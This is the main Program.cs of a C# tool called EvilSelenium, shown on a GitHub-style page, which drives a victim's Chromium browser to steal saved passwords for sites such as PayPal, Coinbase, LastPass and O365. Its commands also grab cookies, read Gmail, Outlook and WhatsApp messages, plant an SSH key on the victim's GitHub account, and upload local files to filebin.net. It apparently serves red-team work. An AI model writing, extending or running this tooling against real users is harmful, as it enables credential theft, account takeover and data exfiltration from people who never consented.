-
Notifications
You must be signed in to change notification settings - Fork 89
/
Program.cs
216 lines (198 loc) · 8.86 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
using System;
using EvilSelenium.Misc;
using EvilSelenium.Commands;
using EvilSelenium.Credentials;
using EvilSelenium.Cookies;
using System.Collections.Generic;
namespace EvilSelenium
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0)
{
UsageMenu();
}
else if(args.Length > 0){
try
{
args = ParseGlobalFlags(args);
if (args[0] == "/help" || args[0] == "/?")
{
UsageMenu();
}
else if (args[0] == "/install")
{
InstallDependencies.InstallChromeDriver();
InstallDependencies.InstallSeleniumDriver();
}
else if (args[0] == "/enumsavedsites")
{
ScreenshotChromePwds.ScreenshotChromePasswords(args[1]);
}
else if (args[0] == "/screenshot")
{
ScreenshotChromePwds.ScreenShotWebsite(args[1],args[2]);
}
else if (args[0] == "/autorun")
{
int choiceInt = 12;
Console.WriteLine(@"
Select target websites:
[1] Github
[2] LinkedIn
[3] PayPal
[4] Netflix
[5] Messenger
[6] O365
[7] Outlook
[8] Coinbase
[9] Reddit
[10] Instagram
[11] LastPass
[12] All
");
Console.Write("Selection: ");
string choice = Console.ReadLine();
try {
choiceInt = Int32.Parse(choice);
}
catch (FormatException ex)
{
Console.WriteLine("[-] Error - Enter a number");
System.Environment.Exit(-1);
}
if( choiceInt == 1) WebsiteTemplates.GithubExtract();
if (choiceInt == 2) WebsiteTemplates.LinkedInExtract();
if (choiceInt == 3) WebsiteTemplates.PayPalExtract();
if (choiceInt == 4) WebsiteTemplates.NetflixExtract();
if (choiceInt == 5) WebsiteTemplates.MessengerExtract();
if (choiceInt == 6) WebsiteTemplates.O365Extract();
if (choiceInt == 7) WebsiteTemplates.OutlookExtract();
if (choiceInt == 8) WebsiteTemplates.CoinbaseExtract();
if (choiceInt == 9) WebsiteTemplates.RedditExtract();
if (choiceInt == 10) WebsiteTemplates.InstagramExtract();
if (choiceInt == 11) WebsiteTemplates.LastPassExtract();
if (choiceInt == 12)
{
WebsiteTemplates.LinkedInExtract();
WebsiteTemplates.PayPalExtract();
WebsiteTemplates.NetflixExtract();
WebsiteTemplates.MessengerExtract();
WebsiteTemplates.O365Extract();
WebsiteTemplates.OutlookExtract();
WebsiteTemplates.CoinbaseExtract();
WebsiteTemplates.RedditExtract();
WebsiteTemplates.InstagramExtract();
WebsiteTemplates.LastPassExtract();
}
if (choiceInt > 12)
{
Console.WriteLine("[-] Not found");
System.Environment.Exit(-1);
}
}
else if (args[0] == "/dynamicid")
{
WebsiteTemplates.DynamicExtractById(args[1], args[2], args[3]);
}
else if (args[0] == "/dynamicname")
{
WebsiteTemplates.DynamicExtractByName(args[1], args[2], args[3]);
}
else if (args[0] == "/dynamicname2")
{
WebsiteTemplates.DynamicExtractByNameCustom(args[1], args[2], args[3], args[4], args[5]);
}
else if (args[0] == "/cookies")
{
ExtractCookies.PrintCookies(args[1]);
}
else if (args[0] == "/download")
{
Downloader.DownloadFile(args[1],args[2]);
}
else if (args[0] == "/exfil")
{
Exfil.ExfilData(args[1], args[2]);
}
else if (args[0] == "/gmail")
{
ExtractMail.GmailReader(args[1],args[2]);
}
else if (args[0] == "/outlook")
{
ExtractMail.O365Reader(args[1],args[2],"https://outlook.live.com");
}
else if(args[0] == "/o365")
{
ExtractMail.O365Reader(args[1], args[2], "https://outlook.office.com");
}
else if(args[0] == "/github")
{
Github.AddSshKey(args[1]);
}
else if (args[0] == "/whatsapp")
{
Whatsapp.ExtractMessages(args[1]);
}
else
{
Console.WriteLine("[-] Command not found.");
UsageMenu();
}
} catch(IndexOutOfRangeException ex)
{
UsageMenu();
}
}
}
public static string[] ParseGlobalFlags(string[] args)
{
List<string> arguments = new List<string>(args);
var custom_user_data_flag = arguments.IndexOf("/browserdir");
// If flag is not shown - ignore
if (custom_user_data_flag == -1)
return args;
else if (args.Length >= custom_user_data_flag + 1)
{
Helpers.BrowserRouting = arguments[custom_user_data_flag + 1];
// Pop the flag value e.g. "Microsoft\Edge"
arguments.RemoveAt(custom_user_data_flag + 1);
}
// Pop the flag "/browserdir"
arguments.RemoveAt(custom_user_data_flag);
return arguments.ToArray();
}
public static void UsageMenu()
{
string usage = @"
/help - Show this help menu.
SETUP:
/install - Install chromedriver & Selenium webdriver. Run this once.
GLOBAL: (accepted with every command)
/browserdir [appdata_local_routing] -Use custom Chromium-based browser by providing its directory name within %appdatalocal% (e.g. ""Microsoft\Edge"")
RECON:
/enumsavedsites [out_path] - Check which websites have passwords saved via screenshot(s).
/screenshot [website] [out_path] - Screenshot a given webpage.
CREDENTIALS:
/autorun - Extract saved credentials from common websites.
/dynamicid [login_page] [username_id] [password_id] - Extract saved credentials from a website, providing the username field ID & password field ID.
/dynamicname [login_page] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value & password name value.
/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value, password name value and their positions.
COOKIES:
/cookies [website] - Grabs cookies for a given website.
MODULES:
/download [file_url] [seconds] - Downloads a file to the default downloads folder. Specify time to wait for download to finish. File extensions should not be executable.
/exfil [local_file] [seconds] - Uploads a file on filebin.net and outputs the download link.
/gmail [out_path] [num_of_emails] - Fetches emails from mail.google.com if user is authenticated. Max 50 emails.
/outlook [out_path] [num_of_emails] - Fetches emails from Outlook if user is authenticated.
/o365 [out_path] [num_of_emails] - Fetches emails from O365 Outlook if user is authenticated.
/github [key] - Add your SSH key to Github if user is authenticated.
/whatsapp [out_path] - Fetches Whatsapp messages if user is authenticated (BETA).
";
Console.WriteLine(usage);
}
}
}